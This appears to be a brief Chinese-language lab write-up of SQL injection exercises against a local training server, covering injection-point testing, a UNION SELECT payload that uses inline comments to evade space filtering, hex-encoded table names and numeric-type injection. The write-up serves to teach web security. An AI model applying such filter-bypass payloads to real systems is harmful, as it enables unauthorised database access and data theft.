example1,2,3:这几个放一块说吧,主要是刚好做完前三个。三个差不多,2和3感觉一样都是在1的基础上过滤了空格。
先说example3:
1.http://192.168.218.131/sqli/example3.php?name=root 。注入点是name,先加个分号测试一下,发现查询失败。
3.http://192.168.218.131/sqli/example3.php?name=root'/**/union/**/select/**/1,database(),2,3,5%23 库名 exercises
其中表名使用16进制编码。得到列名
选择了3项进行查询
example4:数字型。与上面的区别只在于id=2后面不带分号,然后没过滤空格。
example6:如图,这题限制结尾必须是数字